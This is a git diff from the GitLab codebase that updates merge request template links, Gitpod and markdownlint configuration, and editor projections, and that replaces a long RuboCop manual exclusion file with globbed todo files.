- [ ] Quarantine test check-list
- - [ ] Follow the [Quarantining Tests guide](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests).
- - [ ] Confirm the test has a [`quarantine:` tag with the specified quarantine type](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantined-test-types).
+ - [ ] Follow the [Quarantining Tests guide](https://about.gitlab.com/handbook/engineering/quality/quality-engineering/debugging-qa-test-failures/#quarantining-tests).
+ - [ ] Confirm the test has a [`quarantine:` tag with the specified quarantine type](https://about.gitlab.com/handbook/engineering/quality/quality-engineering/debugging-qa-test-failures/#quarantined-test-types).
- [ ] Note if the test should be [quarantined for a specific environment](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/execution_context_selection.html#quarantine-a-test-for-a-specific-environment).
- [ ] (Optionally) In case of an emergency (e.g. blocked deployments), consider adding labels to pick into auto-deploy (~"Pick into auto-deploy" ~"priority::1" ~"severity::1").
- [ ] Dequarantine test check-list
- - [ ] Follow the [Dequarantining Tests guide](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#dequarantining-tests).
+ - [ ] Follow the [Dequarantining Tests guide](https://about.gitlab.com/handbook/engineering/quality/quality-engineering/debugging-qa-test-failures/#dequarantining-tests).
- [ ] Confirm the test consistently passes on the target GitLab environment(s).
- - [ ] (Optionally) [Trigger a manual GitLab-QA pipeline](https://about.gitlab.com/handbook/engineering/quality/guidelines/tips-and-tricks/#running-gitlab-qa-pipeline-against-a-specific-gitlab-release) against a specific GitLab environment using the `RELEASE` variable from the `package-and-qa` job of the current merge request.
+ - [ ] (Optionally) [Trigger a manual GitLab-QA pipeline](https://about.gitlab.com/handbook/engineering/quality/quality-engineering/tips-and-tricks/#running-gitlab-qa-pipeline-against-a-specific-gitlab-release) against a specific GitLab environment using the `RELEASE` variable from the `package-and-qa` job of the current merge request.
- [ ] To ensure a faster turnaround, ask in the `#quality` Slack channel for someone to review and merge the merge request, rather than assigning it directly.
<!-- Base labels. -->
diff --git a/.gitlab/merge_request_templates/Security Release.md b/.gitlab/merge_request_templates/Security Release.md
index 7684546b91c..bfa80d65018 100644
--- a/.gitlab/merge_request_templates/Security Release.md
+++ b/.gitlab/merge_request_templates/Security Release.md
@@ -20,13 +20,13 @@ See [the general developer security release guidelines](https://gitlab.com/gitla
- [ ] Assign to a reviewer and maintainer, per our [Code Review process].
- [ ] Ensure it's approved according to our [Approval Guidelines].
- [ ] Ensure it's approved by an AppSec engineer.
- - Please see the security release [Code reviews and Approvals](https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md#code-reviews-and-approvals) documentation for details on which AppSec team member to ping for approval.
+ - Please see the security release [Code reviews and Approvals] documentation for details on which AppSec team member to ping for approval.
- Trigger the [`package-and-qa` build]. The docker image generated will be used by the AppSec engineer to validate the security vulnerability has been remediated.
-- [ ] For a backport MR targeting a versioned stable branch (`X-Y-stable-ee`)
+- [ ] For a backport MR targeting a versioned stable branch (`X-Y-stable-ee`).
- [ ] Milestone is set to the version this backport applies to. A closed milestone can be assigned via [quick actions].
- [ ] Ensure it's approved by a maintainer.
-**Note:** Reviewer/maintainer should not be a Release Manager
+**Note:** Reviewer/maintainer should not be a Release Manager.
## Maintainer checklist
@@ -39,6 +39,7 @@ See [the general developer security release guidelines](https://gitlab.com/gitla
[quick actions]: https://docs.gitlab.com/ee/user/project/quick_actions.html#quick-actions-for-issues-merge-requests-and-epics
[CHANGELOG entry]: https://docs.gitlab.com/ee/development/changelog.html#overview
[Code Review process]: https://docs.gitlab.com/ee/development/code_review.html
+[Code reviews and Approvals]: (https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md#code-reviews-and-approvals)
[Approval Guidelines]: https://docs.gitlab.com/ee/development/code_review.html#approval-guidelines
[Canonical repository]: https://gitlab.com/gitlab-org/gitlab
[`package-and-qa` build]: https://docs.gitlab.com/ee/development/testing_guide/end_to_end/#using-the-package-and-qa-job
diff --git a/.gitpod.yml b/.gitpod.yml
index 762adb72cce..a67242e08a5 100644
--- a/.gitpod.yml
+++ b/.gitpod.yml
@@ -19,6 +19,7 @@ tasks:
# ensure gdk.yml has correct instance settings
gdk config set gitlab.rails.port 443
gdk config set gitlab.rails.https.enabled true
+ gdk config set webpack.host 127.0.0.1
# make documentation builds available
gdk config set gitlab_docs.enabled true
# reconfigure GDK
@@ -47,6 +48,7 @@ tasks:
gdk config set gitlab.rails.hostname $(gp url 3000 | sed -e 's+^http[s]*://++')
gdk config set gitlab.rails.port 443
gdk config set gitlab.rails.https.enabled true
+ gdk config set webpack.host 127.0.0.1
# reconfigure GDK
echo "$(date) – Reconfiguring GDK" | tee -a /workspace/startup.log
gdk reconfigure
diff --git a/.markdownlint.yml b/.markdownlint.yml
index ea7492cf208..bb4c859e197 100644
--- a/.markdownlint.yml
+++ b/.markdownlint.yml
@@ -1,29 +1,29 @@
---
# Base Markdownlint configuration
# Extended Markdownlint configuration in doc/.markdownlint/
-"default": true
-"first-header-h1": true
-"header-style":
- "style": "atx"
-"ul-style":
- "style": "dash"
-"no-trailing-spaces": false
-"line-length": false
-"no-duplicate-header":
- "allow_different_nesting": true
-"no-trailing-punctuation":
- "punctuation": ".,;:!。,;:ï¼ï¼Ÿ"
-"ol-prefix":
- "style": "one"
-"no-inline-html": false
-"hr-style":
- "style": "---"
-"no-emphasis-as-heading": false
-"first-line-h1": false
-"code-block-style":
- "style": "fenced"
-"proper-names":
- "names": [
+default: true
+first-header-h1: true
+header-style:
+ style: "atx"
+ul-style:
+ style: "dash"
+no-trailing-spaces: false
+line-length: false
+no-duplicate-header:
+ allow_different_nesting: true
+no-trailing-punctuation:
+ punctuation: ".,;:!。,;:ï¼ï¼Ÿ"
+ol-prefix:
+ style: "one"
+no-inline-html: false
+hr-style:
+ style: "---"
+no-emphasis-as-heading: false
+first-line-h1: false
+code-block-style:
+ style: "fenced"
+proper-names:
+ names: [
"Akismet",
"Alertmanager",
"API",
@@ -139,4 +139,4 @@
"YAML",
"YouTrack"
]
- "code_blocks": false
+ code_blocks: false
diff --git a/.projections.json.example b/.projections.json.example
index 326e9544392..19ded7eba98 100644
--- a/.projections.json.example
+++ b/.projections.json.example
@@ -1,4 +1,12 @@
{
+ "config/initializers/*.rb": {
+ "alternate": "spec/initializers/{}_spec.rb",
+ "type": "source"
+ },
+ "spec/initializers/*_spec.rb": {
+ "alternate": "config/initializers/{}.rb",
+ "type": "test"
+ },
"app/*.rb": {
"alternate": "spec/{}_spec.rb",
"type": "source"
diff --git a/.rubocop.yml b/.rubocop.yml
index 5b7a58e1f2d..2280fe222ea 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -8,7 +8,9 @@ require:
inherit_from:
<% unless ENV['REVEAL_RUBOCOP_TODO'] == '1' %>
- - '.rubocop_manual_todo.yml'
+ <% Dir.glob('.rubocop_todo/**/*.yml').each do |rubocop_todo_yaml| %>
+ - '<%= rubocop_todo_yaml %>'
+ <% end %>
- '.rubocop_todo.yml'
<% end %>
- ./rubocop/rubocop-migrations.yml
diff --git a/.rubocop_manual_todo.yml b/.rubocop_manual_todo.yml
deleted file mode 100644
index 7b961e7ee6b..00000000000
--- a/.rubocop_manual_todo.yml
+++ /dev/null
@@ -1,2618 +0,0 @@
----
-# This file is not meant to store permanent exclusions.
-# - for permanent lists, place them in the .rubocop.yml.
-# - for short (less than 15 lines line) temporary lists, place them in the .rubocop_todo.yml file (run auto-generation).
-#
-# Purpose of this file:
-# - show long exclusion lists that are hidden in generic auto-generation of .rubocop_todo.yml.
-# - provide an 'in-flight' list of exclusions being worked on when qualifying as a long list
-# as mentioned above.
-# - guidelines for use found in
-# https://docs.gitlab.com/ee/development/contributing/style_guides.html#resolving-rubocop-exceptions.
-
-# WIP: See https://gitlab.com/gitlab-org/gitlab/-/issues/220040
-Rails/SaveBang:
- Exclude:
- - 'ee/spec/initializers/fog_google_https_private_urls_spec.rb'
- - 'ee/spec/lib/analytics/merge_request_metrics_calculator_spec.rb'
- - 'ee/spec/lib/ee/gitlab/auth/ldap/sync/group_spec.rb'
- - 'ee/spec/lib/ee/gitlab/checks/push_rules/commit_check_spec.rb'
- - 'ee/spec/lib/ee/gitlab/ci/pipeline/quota/activity_spec.rb'
- - 'ee/spec/lib/gitlab/auth/ldap/access_spec.rb'
- - 'ee/spec/lib/gitlab/auth/o_auth/user_spec.rb'
- - 'ee/spec/lib/gitlab/auth/saml/user_spec.rb'
- - 'ee/spec/lib/gitlab/elastic/search_results_spec.rb'
- - 'ee/spec/lib/gitlab/email/handler/ee/service_desk_handler_spec.rb'
- - 'ee/spec/lib/gitlab/geo_spec.rb'
- - 'ee/spec/lib/gitlab/git_access_spec.rb'
- - 'ee/spec/lib/gitlab/import_export/group/relation_factory_spec.rb'
- - 'ee/spec/lib/gitlab/mirror_spec.rb'
- - 'ee/spec/models/application_setting_spec.rb'
- - 'ee/spec/models/approval_merge_request_rule_spec.rb'
- - 'ee/spec/models/approval_project_rule_spec.rb'
- - 'ee/spec/models/burndown_spec.rb'
- - 'ee/spec/models/elasticsearch_indexed_namespace_spec.rb'
- - 'ee/spec/models/gitlab_subscription_spec.rb'
- - 'ee/spec/models/issue_spec.rb'
- - 'ee/spec/models/label_note_spec.rb'
- - 'ee/spec/models/lfs_object_spec.rb'
- - 'ee/spec/models/license_spec.rb'
- - 'ee/spec/models/merge_request_spec.rb'
- - 'ee/spec/models/merge_train_spec.rb'
- - 'ee/spec/models/project_ci_cd_setting_spec.rb'
- - 'ee/spec/models/project_spec.rb'
- - 'ee/spec/models/protected_environment_spec.rb'
- - 'ee/spec/models/repository_spec.rb'
- - 'ee/spec/models/scim_identity_spec.rb'
- - 'ee/spec/models/scim_oauth_access_token_spec.rb'
- - 'ee/spec/models/upload_spec.rb'
- - 'ee/spec/models/user_preference_spec.rb'
- - 'ee/spec/models/visible_approvable_spec.rb'
- - 'ee/spec/models/vulnerabilities/feedback_spec.rb'
- - 'ee/spec/models/vulnerabilities/issue_link_spec.rb'
- - 'ee/spec/services/ee/boards/issues/create_service_spec.rb'
- - 'ee/spec/services/ee/boards/issues/list_service_spec.rb'
- - 'ee/spec/services/ee/boards/lists/list_service_spec.rb'
- - 'ee/spec/services/ee/issuable/clone/attributes_rewriter_spec.rb'
- - 'ee/spec/services/ee/issuable/common_system_notes_service_spec.rb'
- - 'ee/spec/services/ee/issues/update_service_spec.rb'
- - 'ee/spec/services/ee/merge_requests/refresh_service_spec.rb'
- - 'ee/spec/services/ee/merge_requests/update_service_spec.rb'
- - 'ee/spec/services/ee/notes/quick_actions_service_spec.rb'
- - 'ee/spec/services/ee/notification_service_spec.rb'
- - 'ee/spec/services/epic_links/create_service_spec.rb'
- - 'ee/spec/services/epics/close_service_spec.rb'
- - 'ee/spec/services/epics/issue_promote_service_spec.rb'
- - 'ee/spec/services/epics/reopen_service_spec.rb'
- - 'ee/spec/services/epics/tree_reorder_service_spec.rb'
- - 'ee/spec/services/epics/update_dates_service_spec.rb'
- - 'ee/spec/services/epics/update_service_spec.rb'
- - 'ee/spec/services/geo/blob_verification_secondary_service_spec.rb'
- - 'ee/spec/services/geo/files_expire_service_spec.rb'
- - 'ee/spec/services/geo/metrics_update_service_spec.rb'
- - 'ee/spec/services/geo/registry_consistency_service_spec.rb'
- - 'ee/spec/services/geo/repository_verification_secondary_service_spec.rb'
- - 'ee/spec/services/groups/autocomplete_service_spec.rb'
- - 'ee/spec/services/ldap_group_reset_service_spec.rb'
- - 'ee/spec/services/lfs/unlock_file_service_spec.rb'
- - 'ee/spec/services/merge_trains/refresh_merge_request_service_spec.rb'
- - 'ee/spec/services/quick_actions/interpret_service_spec.rb'
- - 'ee/spec/services/slash_commands/global_slack_handler_spec.rb'
- - 'ee/spec/services/start_pull_mirroring_service_spec.rb'
- - 'ee/spec/services/status_page/trigger_publish_service_spec.rb'
- - 'ee/spec/services/todo_service_spec.rb'
- - 'ee/spec/services/vulnerability_feedback/create_service_spec.rb'
- - 'qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb'
- - 'qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb'
- - 'qa/qa/specs/features/ee/browser_ui/3_create/repository/pull_mirroring_over_http_spec.rb'
- - 'qa/qa/specs/features/ee/browser_ui/3_create/repository/pull_mirroring_over_ssh_with_key_spec.rb'
- - 'spec/controllers/abuse_reports_controller_spec.rb'
- - 'spec/controllers/boards/issues_controller_spec.rb'
- - 'spec/controllers/sent_notifications_controller_spec.rb'
- - 'spec/controllers/sessions_controller_spec.rb'
- - 'spec/lib/after_commit_queue_spec.rb'
- - 'spec/lib/backup/manager_spec.rb'
- - 'spec/lib/gitlab/alerting/alert_spec.rb'
- - 'spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb'
- - 'spec/lib/gitlab/auth/ldap/user_spec.rb'
- - 'spec/lib/gitlab/auth/o_auth/user_spec.rb'
- - 'spec/lib/gitlab/auth/saml/user_spec.rb'
- - 'spec/lib/gitlab/auth_spec.rb'
- - 'spec/lib/gitlab/authorized_keys_spec.rb'
- - 'spec/lib/gitlab/bitbucket_server_import/importer_spec.rb'
- - 'spec/lib/gitlab/cycle_analytics/base_event_fetcher_spec.rb'
- - 'spec/lib/gitlab/database/custom_structure_spec.rb'
- - 'spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb'
- - 'spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb'
- - 'spec/lib/gitlab/gfm/reference_rewriter_spec.rb'
- - 'spec/lib/gitlab/git_access_spec.rb'
- - 'spec/lib/gitlab/import_export/avatar_saver_spec.rb'
- - 'spec/lib/gitlab/import_export/base/relation_factory_spec.rb'
- - 'spec/lib/gitlab/import_export/design_repo_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb'
- - 'spec/lib/gitlab/import_export/fork_spec.rb'
- - 'spec/lib/gitlab/import_export/group/legacy_tree_saver_spec.rb'
- - 'spec/lib/gitlab/import_export/group/relation_factory_spec.rb'
- - 'spec/lib/gitlab/import_export/group/tree_saver_spec.rb'
- - 'spec/lib/gitlab/import_export/importer_spec.rb'
- - 'spec/lib/gitlab/import_export/lfs_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/lfs_saver_spec.rb'
- - 'spec/lib/gitlab/import_export/members_mapper_spec.rb'
- - 'spec/lib/gitlab/import_export/project/relation_factory_spec.rb'
- - 'spec/lib/gitlab/import_export/project/tree_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/project/tree_saver_spec.rb'
- - 'spec/lib/gitlab/import_export/repo_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/saver_spec.rb'
- - 'spec/lib/gitlab/import_export/snippet_repo_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/snippet_repo_saver_spec.rb'
- - 'spec/lib/gitlab/import_export/snippets_repo_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/snippets_repo_saver_spec.rb'
- - 'spec/lib/gitlab/import_export/uploads_manager_spec.rb'
- - 'spec/lib/gitlab/import_export/uploads_saver_spec.rb'
- - 'spec/lib/gitlab/import_export/wiki_restorer_spec.rb'
- - 'spec/lib/gitlab/lets_encrypt/client_spec.rb'
- - 'spec/lib/gitlab/middleware/go_spec.rb'
- - 'spec/lib/gitlab/shard_health_cache_spec.rb'
- - 'spec/mailers/notify_spec.rb'
-
-Rails/TimeZone:
- Enabled: true
- Exclude:
- - 'lib/gitlab/popen.rb'
- - 'ee/lib/delay.rb'
- - 'ee/lib/gitlab/elastic/helper.rb'
- - 'ee/lib/gitlab/elastic/indexer.rb'
- - 'ee/lib/gitlab/geo/base_request.rb'
- - 'ee/lib/gitlab/geo/event_gap_tracking.rb'
- - 'ee/lib/gitlab/geo/log_cursor/events/design_repository_updated_event.rb'
- - 'ee/lib/gitlab/geo/log_cursor/events/repository_updated_event.rb'
- - 'ee/lib/gitlab/geo/log_cursor/logger.rb'
- - 'ee/lib/gitlab/geo/oauth/login_state.rb'
- - 'ee/lib/gitlab/prometheus/queries/cluster_query.rb'
- - 'ee/lib/gitlab/prometheus/queries/packet_flow_query.rb'
- - 'ee/spec/lib/ee/gitlab/checks/push_rules/commit_check_spec.rb'
- - 'ee/spec/lib/ee/gitlab/ci/pipeline/quota/job_activity_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/cycle_analytics/data_collector_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/cycle_analytics/summary/group/stage_summary_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/cycle_analytics/summary/group/stage_time_summary_spec.rb'
- - 'ee/spec/lib/gitlab/auth/ldap/access_spec.rb'
- - 'ee/spec/lib/gitlab/auth/smartcard/san_extension_spec.rb'
- - 'ee/spec/lib/gitlab/auth/smartcard/session_spec.rb'
- - 'ee/spec/lib/gitlab/background_migration/fix_orphan_promoted_issues_spec.rb'
- - 'ee/spec/lib/gitlab/ci/pipeline/chain/limit/job_activity_spec.rb'
- - 'ee/spec/lib/gitlab/elastic/client_spec.rb'
- - 'ee/spec/lib/gitlab/geo/base_request_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/cache_invalidation_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/container_repository_updated_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/design_repository_updated_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/hashed_storage_attachments_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/hashed_storage_migrated_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/job_artifact_deleted_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/lfs_object_deleted_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/repositories_changed_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/repository_created_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/repository_deleted_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/repository_renamed_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/repository_updated_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/reset_checksum_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/logger_spec.rb'
- - 'ee/spec/lib/gitlab/git_access_spec.rb'
- - 'ee/spec/lib/gitlab/prometheus/queries/additional_metrics_deployment_query_spec.rb'
- - 'ee/spec/lib/gitlab/prometheus/queries/cluster_query_spec.rb'
- - 'ee/spec/lib/gitlab/prometheus/queries/packet_flow_query_spec.rb'
- - 'lib/api/helpers.rb'
- - 'lib/api/sidekiq_metrics.rb'
- - 'lib/backup/manager.rb'
- - 'lib/bitbucket_server/representation/base.rb'
- - 'lib/gitlab/auth/current_user_mode.rb'
- - 'lib/gitlab/auth/ldap/access.rb'
- - 'lib/gitlab/chaos.rb'
- - 'lib/gitlab/checks/timed_logger.rb'
- - 'lib/gitlab/ci/ansi2json/line.rb'
- - 'lib/gitlab/ci/pipeline/chain/sequence.rb'
- - 'lib/gitlab/ci/pipeline/duration.rb'
- - 'lib/gitlab/cycle_analytics/summary/deployment_frequency.rb'
- - 'lib/gitlab/database.rb'
- - 'lib/gitlab/external_authorization/access.rb'
- - 'lib/gitlab/external_authorization/cache.rb'
- - 'lib/gitlab/gitaly_client.rb'
- - 'lib/gitlab/gitaly_client/ref_service.rb'
- - 'lib/gitlab/github_import/representation.rb'
- - 'lib/gitlab/grape_logging/loggers/queue_duration_logger.rb'
- - 'lib/gitlab/health_checks/base_abstract_check.rb'
- - 'lib/gitlab/import_export.rb'
- - 'lib/gitlab/instrumentation/elasticsearch_transport.rb'
- - 'lib/gitlab/instrumentation/redis_interceptor.rb'
- - 'lib/gitlab/instrumentation_helper.rb'
- - 'lib/gitlab/kubernetes/helm/certificate.rb'
- - 'lib/gitlab/lfs_token.rb'
- - 'lib/gitlab/loop_helpers.rb'
- - 'lib/gitlab/phabricator_import/representation/task.rb'
- - 'lib/gitlab/prometheus/queries/additional_metrics_environment_query.rb'
- - 'lib/gitlab/prometheus/queries/matched_metric_query.rb'
- - 'lib/gitlab/prometheus_client.rb'
- - 'lib/gitlab/sherlock/transaction.rb'
- - 'lib/gitlab/task_helpers.rb'
- - 'lib/gitlab/x509/tag.rb'
- - 'lib/grafana/time_window.rb'
- - 'lib/json_web_token/token.rb'
- - 'lib/object_storage/direct_upload.rb'
- - 'lib/quality/seeders/issues.rb'
- - 'tooling/rspec_flaky/flaky_example.rb'
- - 'tooling/rspec_flaky/report.rb'
- - 'lib/tasks/gitlab/assets.rake'
- - 'lib/tasks/gitlab/backup.rake'
- - 'lib/tasks/gitlab/cleanup.rake'
- - 'lib/tasks/gitlab/list_repos.rake'
- - 'spec/lib/api/helpers_spec.rb'
- - 'spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb'
- - 'spec/lib/gitlab/app_json_logger_spec.rb'
- - 'spec/lib/gitlab/app_text_logger_spec.rb'
- - 'spec/lib/gitlab/auth/current_user_mode_spec.rb'
- - 'spec/lib/gitlab/background_migration/recalculate_project_authorizations_spec.rb'
- - 'spec/lib/gitlab/background_migration/wrongfully_confirmed_email_unconfirmer_spec.rb'
- - 'spec/lib/gitlab/bitbucket_import/importer_spec.rb'
- - 'spec/lib/gitlab/bitbucket_server_import/importer_spec.rb'
- - 'spec/lib/gitlab/checks/timed_logger_spec.rb'
- - 'spec/lib/gitlab/ci/cron_parser_spec.rb'
- - 'spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb'
- - 'spec/lib/gitlab/cycle_analytics/usage_data_spec.rb'
- - 'spec/lib/gitlab/data_builder/note_spec.rb'
- - 'spec/lib/gitlab/database/background_migration_job_spec.rb'
- - 'spec/lib/gitlab/database_spec.rb'
- - 'spec/lib/gitlab/discussions_diff/file_collection_spec.rb'
- - 'spec/lib/gitlab/external_authorization/access_spec.rb'
- - 'spec/lib/gitlab/external_authorization/cache_spec.rb'
- - 'spec/lib/gitlab/external_authorization/logger_spec.rb'
- - 'spec/lib/gitlab/fogbugz_import/importer_spec.rb'
- - 'spec/lib/gitlab/git/branch_spec.rb'
- - 'spec/lib/gitlab/git/commit_spec.rb'
- - 'spec/lib/gitlab/git/repository_spec.rb'
- - 'spec/lib/gitlab/git_access_spec.rb'
- - 'spec/lib/gitlab/github_import/importer/diff_note_importer_spec.rb'
- - 'spec/lib/gitlab/github_import/importer/issue_importer_spec.rb'
- - 'spec/lib/gitlab/github_import/importer/issues_importer_spec.rb'
- - 'spec/lib/gitlab/github_import/importer/milestones_importer_spec.rb'
- - 'spec/lib/gitlab/github_import/importer/note_importer_spec.rb'
- - 'spec/lib/gitlab/github_import/importer/pull_request_importer_spec.rb'
- - 'spec/lib/gitlab/github_import/importer/releases_importer_spec.rb'
- - 'spec/lib/gitlab/github_import/representation/diff_note_spec.rb'
- - 'spec/lib/gitlab/github_import/representation/issue_spec.rb'
- - 'spec/lib/gitlab/github_import/representation/note_spec.rb'
- - 'spec/lib/gitlab/github_import/representation/pull_request_spec.rb'
- - 'spec/lib/gitlab/grape_logging/formatters/lograge_with_timestamp_spec.rb'
- - 'spec/lib/gitlab/grape_logging/loggers/cloudflare_logger_spec.rb'
- - 'spec/lib/gitlab/grape_logging/loggers/queue_duration_logger_spec.rb'
- - 'spec/lib/gitlab/graphql_logger_spec.rb'
- - 'spec/lib/gitlab/graphs/commits_spec.rb'
- - 'spec/lib/gitlab/import_export/project/relation_factory_spec.rb'
- - 'spec/lib/gitlab/json_logger_spec.rb'
- - 'spec/lib/gitlab/lfs_token_spec.rb'
- - 'spec/lib/gitlab/log_timestamp_formatter_spec.rb'
- - 'spec/lib/gitlab/middleware/rails_queue_duration_spec.rb'
- - 'spec/lib/gitlab/omniauth_logging/json_formatter_spec.rb'
- - 'spec/lib/gitlab/phabricator_import/issues/task_importer_spec.rb'
- - 'spec/lib/gitlab/phabricator_import/representation/task_spec.rb'
- - 'spec/lib/gitlab/prometheus/queries/additional_metrics_deployment_query_spec.rb'
- - 'spec/lib/gitlab/prometheus/queries/deployment_query_spec.rb'
- - 'spec/lib/gitlab/prometheus/queries/validate_query_spec.rb'
- - 'spec/lib/gitlab/sherlock/transaction_spec.rb'
- - 'spec/lib/gitlab/sidekiq_logging/json_formatter_spec.rb'
- - 'spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/until_executing_spec.rb'
- - 'spec/lib/gitlab/updated_notes_paginator_spec.rb'
- - 'spec/lib/gitlab/utils/json_size_estimator_spec.rb'
- - 'spec/lib/gitlab/x509/signature_spec.rb'
- - 'spec/lib/grafana/time_window_spec.rb'
- - 'spec/lib/json_web_token/hmac_token_spec.rb'
- - 'spec/tooling/rspec_flaky/flaky_example_spec.rb'
- - 'spec/tooling/rspec_flaky/listener_spec.rb'
- - 'spec/tooling/rspec_flaky/report_spec.rb'
-
-RSpec/TimecopFreeze:
- Exclude:
- - 'ee/spec/controllers/admin/application_settings_controller_spec.rb'
- - 'ee/spec/controllers/projects/security/network_policies_controller_spec.rb'
- - 'ee/spec/features/admin/admin_reset_pipeline_minutes_spec.rb'
- - 'ee/spec/features/boards/sidebar_spec.rb'
- - 'ee/spec/features/groups/analytics/cycle_analytics/filters_and_data_spec.rb'
- - 'ee/spec/features/groups/iteration_spec.rb'
- - 'ee/spec/features/projects/mirror_spec.rb'
- - 'ee/spec/features/projects/services/prometheus_custom_metrics_spec.rb'
- - 'ee/spec/finders/productivity_analytics_finder_spec.rb'
- - 'ee/spec/frontend/fixtures/analytics.rb'
- - 'ee/spec/helpers/vulnerabilities_helper_spec.rb'
- - 'ee/spec/lib/analytics/merge_request_metrics_refresh_spec.rb'
- - 'ee/spec/lib/analytics/productivity_analytics_request_params_spec.rb'
- - 'ee/spec/lib/ee/gitlab/background_migration/populate_vulnerability_historical_statistics_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/cycle_analytics/data_collector_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/cycle_analytics/group_stage_time_summary_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/cycle_analytics/summary/group/stage_time_summary_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/type_of_work/tasks_by_type_spec.rb'
- - 'ee/spec/lib/gitlab/auth/group_saml/sso_enforcer_spec.rb'
- - 'ee/spec/lib/gitlab/geo/base_request_spec.rb'
- - 'ee/spec/lib/gitlab/geo/event_gap_tracking_spec.rb'
- - 'ee/spec/lib/gitlab/geo/git_push_http_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/daemon_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/events/repository_updated_event_spec.rb'
- - 'ee/spec/lib/gitlab/geo/oauth/login_state_spec.rb'
- - 'ee/spec/lib/gitlab/insights/reducers/count_per_period_reducer_spec.rb'
- - 'ee/spec/lib/gitlab/prometheus/queries/additional_metrics_environment_query_spec.rb'
- - 'ee/spec/lib/gitlab/prometheus/queries/cluster_query_spec.rb'
- - 'ee/spec/migrations/populate_vulnerability_historical_statistics_for_year_spec.rb'
- - 'ee/spec/migrations/remove_duplicated_cs_findings_spec.rb'
- - 'ee/spec/migrations/remove_duplicated_cs_findings_without_vulnerability_id_spec.rb'
- - 'ee/spec/migrations/schedule_fix_orphan_promoted_issues_spec.rb'
- - 'ee/spec/migrations/schedule_merge_request_any_approval_rule_migration_spec.rb'
- - 'ee/spec/migrations/schedule_populate_resolved_on_default_branch_column_spec.rb'
- - 'ee/spec/migrations/schedule_populate_vulnerability_historical_statistics_spec.rb'
- - 'ee/spec/migrations/schedule_project_any_approval_rule_migration_spec.rb'
- - 'ee/spec/migrations/set_resolved_state_on_vulnerabilities_spec.rb'
- - 'ee/spec/migrations/20190926180443_schedule_epic_issues_after_epics_move_spec.rb'
- - 'ee/spec/models/analytics/cycle_analytics/group_level_spec.rb'
- - 'ee/spec/models/burndown_spec.rb'
- - 'ee/spec/models/ee/namespace_spec.rb'
- - 'ee/spec/models/geo/project_registry_spec.rb'
- - 'ee/spec/models/merge_train_spec.rb'
- - 'ee/spec/models/productivity_analytics_spec.rb'
- - 'ee/spec/models/project_spec.rb'
- - 'ee/spec/models/vulnerabilities/export_spec.rb'
- - 'ee/spec/requests/api/vulnerabilities_spec.rb'
- - 'ee/spec/services/geo/file_download_service_spec.rb'
- - 'ee/spec/services/vulnerabilities/confirm_service_spec.rb'
- - 'ee/spec/services/vulnerabilities/dismiss_service_spec.rb'
- - 'ee/spec/services/vulnerabilities/resolve_service_spec.rb'
- - 'ee/spec/services/vulnerabilities/revert_to_detected_service_spec.rb'
- - 'ee/spec/services/vulnerability_exports/export_service_spec.rb'
- - 'ee/spec/support/shared_contexts/lib/gitlab/insights/reducers/reducers_shared_contexts.rb'
- - 'qa/spec/support/repeater_spec.rb'
- - 'spec/features/users/active_sessions_spec.rb'
- - 'spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb'
- - 'spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb'
- - 'spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb'
- - 'spec/lib/gitlab/auth/unique_ips_limiter_spec.rb'
- - 'spec/lib/gitlab/checks/timed_logger_spec.rb'
- - 'spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb'
- - 'spec/lib/gitlab/cycle_analytics/usage_data_spec.rb'
- - 'spec/lib/gitlab/omniauth_logging/json_formatter_spec.rb'
